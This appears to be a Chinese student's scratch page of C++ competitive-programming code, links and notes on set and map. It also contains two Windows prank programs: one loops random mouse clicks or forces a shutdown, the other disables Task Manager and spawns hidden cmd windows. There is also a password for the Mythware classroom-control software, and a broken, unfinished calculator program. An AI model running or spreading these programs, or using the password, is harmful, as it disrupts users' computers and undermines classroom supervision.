100 / 100
<
好好刷题(mo yu)
不要乱复制
https://pan.baidu.com/s/1E7EUjgEZv9vwUMnpwKYJNQ?pwd=5du5
www.CrazyGames.com
https://yorg.io/
https://mp.weixin.qq.com/s?__biz=MzI3NjQzMTIwOQ==&mid=2247503977&idx=1&sn=d1e2906933124a9e43f002117e6336f1&chksm=eb77386fdc00b179ed04dc82eb777f5a9676edb236c4658906c531bbeb40af0ecef8fc5d0c52&scene=27
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main(){
if(MessageBox(NULL,"你的电脑因为你不好好爱护,现在会出现一些问题,继续运行?","提示",MB_YESNO)==6){
srand(time(0));
int x=GetSystemMetrics(SM_CXSCREEN),y=GetSystemMetrics(SM_CXSCREEN);
for(;;){
SetCursorPos(rand()%x,rand()%y);
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP,0,0,0,0);
}
}else{
MessageBox(NULL,"你的电脑该休息了……","提示",MB_OK);
system("shutdown -s -t 3");
}
}
#include<bits/stdc++.h>
using namespace std;
int t, s[30010] = {0}, size[30010] = {0}, dis[30010] = {0};
int find(int x){
if(s[x] != x){
int t = s[x];
s[x] = find(s[x]);
dis[x] += dis[t];
}
return s[x];
}
void marge(int x, int y){
x = find(x), y = find(y);
s[x] = y;
dis[x] += size[y];
size[y] += size[x];
size[x] = 0;
return;
}
int main(){
char ch;
int a, b;
for(int i = 1; i <=30000; i++){
size[i] = 1, s[i] = i;
}
scanf("%d", &t);
for(int i = 1; i <= t; i++){
cin >> ch >> a >> b;
if(ch == 'M'){
marge(b, a);
}
else{
if(find(a) != find(b))
printf("-1\n");
else
printf("%d\n", abs(dis[a] - dis[b]) - 1);
}
}
return 0;
}
https://www.ccw.site/detail/644118b45f24dd508b2460c9?inviteCode=XVK38Wa44PRQY1yv
极域密码:mythware_super_password
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main(){
HKEY hkey;
DWORD value =1;
RegCreateKey(HKEY_CURRENT_USER,"Software\\Microsoft\\wincows\\CurrentVersion\\policies\\System",&hkey);
RegSetValueEx(hkey,"DisableTaskMgr",NULL,REG_DWORD,(LPBYTE)&value,sizeof(DWORD));
RegCloseKey(hkey);
while(1){
system("start cmd");
HWND hWnd=GetForegroundWindow();
ShowWindow(hWnd,SW_HIDE);
SetCursorPos(rand()%1000,rand()%1000);
}
return 0;
}
https://blog.csdn.net/wangyuhan2010/article/details/128836690
https://www.bilibili.com/video/BV19q4y1r7Ba/?spm_id_from=333.788.recommend_more_video.-1&vd_source=fa73e1639148a23f323cbf5155c8559f
临时笔记:
s.size():元素个数 O(1)
s.empty():是否为空 O(1)
s.clear():清空
s.insert(x):把元素x插入集合 O(log n)
s.find(x):在集合s中查找x O(log n)
s.lower_bound(x):查找>=x元素中最小的一个 O(log n)
s.upper_bound(x):查找>x元素中最小的一个 O(log n)
s.erase(it):it为迭代器,从集合中删除it指向的元素 O(k+log n)
s.count(x):返回集合中x元素的个数 O(k+log n)
set::iterator it;
for(it = s.begin();it<s.end();it++)
set和multiset的迭代器称为“双向访问迭代器”,不支持
“随机访问”,支持星号(*)解除引用,仅支持“++”和
“--”两个与算数相关的操作。
设it是一个迭代器,例如 set::iterator it;
it++:it指向集合中从小到大排序的下一个元素;
it--:it指向集合中从小到大排序的上一个元素;
map的定义:
map<key_type,value_type> map名;
例如:
map<long long,int> mp1; map<string,int> mp2;
与优先队列一样,key必须定义<运算符。
map的大部分操作时间复杂度为O(log n)
二、集合判断:
mp.size():元素个数
mp.empty():是否为空
mp.clear():清空
mp.size():元素个数
mp.empty():是否为空
mp.clear():清空
mp.begin():首迭代器
mp.end():尾迭代器
三、map操作:
(1)mp.insert():插入
因为map是一个key-value容器,所以插入的数据也应该是一个
二元组。二元组可以通过pair<key_type,value_type>
实现。例如:
map<int,int> mp;
mp.insert(make_pair(1,2));
二元组可以理解为两个变量打包,
新的变量包含两个数据,定义方式
如下:
pair<key_type,value_type> p;
赋值和使用:
p.first = 1 p.second = 2
pair<int,int> p;
p.first = 1;p.second = 2;
map<int,int> mp;
mp.insert(q);
(2) mp.erase():删除
删除操作可以是二元组(pair实现),也可以为迭代器。
例如:
map<int,int> mp;
mp.insert(make_pair(1,2));
方法一:
mp.erase(make_pair(1,2));
方法二:
map<int,int>::iterator it = mp.begin();
mp.erase(it);
三、map操作:
(3) mp.find(x):查找
在变量名为mp的map中查找key为x的二元组,并返回指向该二
元组的迭代器,若不存在返回mp.end(),时间复杂度O(log n)。
例如:
pair<int,int> p;
map<int,int> mp;
p = *mp.find(2);
使用p.first、p.second输出key值和value
map 第 8 页
三、map操作:
(4) [ ]操作符
mp[key]返回key映射到的value的引用,还可以进行赋值操作,
时间复杂度O(log n)。
注意:如果查找的key不存在会新建一个“空”值(value),即0或者
空的字符串等。所以使用[ ]前最好进行find检查。
例如:
cout<<mp[1];
map 第 9 页
三、map操作:
(5) map遍历
使用迭代器进行遍历,时间复杂度O(nlong n)。
两种方式,一种使用指针操作,另一种为指向操作。
for(it = mp.begin(); it != mp.end(); it++)
{
p = *it;
cout<<p.first<<' ‘<<p.second<<endl;
}
pair<int,int> p;
map<int,int>::iterator it;
it= mp.begin();
for(it = mp.begin(); it != mp.end(); it++)
cout<first<<' '<second<<endl;
临时文件:
#include<bits/stdc++.h>
using namespace std;
int j(int j){
if(j==1) return '+';
else if(j==2) return '-';
else if(j==3) return '*';
else if(j==4) return '/';
else;
}
int js(double a,char q,double b,char w,double c,char e,double d){
for(int i=1;i<=6;i++){
if(i==1) ji1(a,q,b,w,c,e,d);
else if(i==2) ji2(a,q,b,w,c,e,d);
// else if(i==3) ji3(a,q,b,w,c,e,d);
// else if(i==4) ji4(a,q,b,w,c,e,d);
// else if(i==5) ji5(a,q,b,w,c,e,d);
// else if(i==6) ji6(a,q,b,w,c,e,d);
}
}
int ji1(double a,char q,double b,char w,double c,char e,double d){//无括号
int u=1,i=1,o=1,p=1;
if(i==1&&u==1&&(q=='/'||q=='*')){
if(q=='/') a=a/b;
else q=a*b;
i=0;
u=1;
}
if(i==1&&o==1&&(w=='/'||w=='*')){
if(w=='/') b=b/c;
else w=c*b;
o=0;
i=1;
}
if(i==1&&o==1&&(e=='/'||e=='*')){
if(e=='/') c=d/c;
else e=d*c;
o=1;
u=0;
}
cout<<a<<' '<<b<<' '<<c<<' ';
}
int main(){
double a,b,c,d;
cin>>a>>b>>c>>d;
for(int q=1;q<=4;q++)
for(int w=1;w<=4;w++)
for(int e=1;e<=4;e++)
js(a,j(q),b,j(w),c,j(e),d);
return 0;
}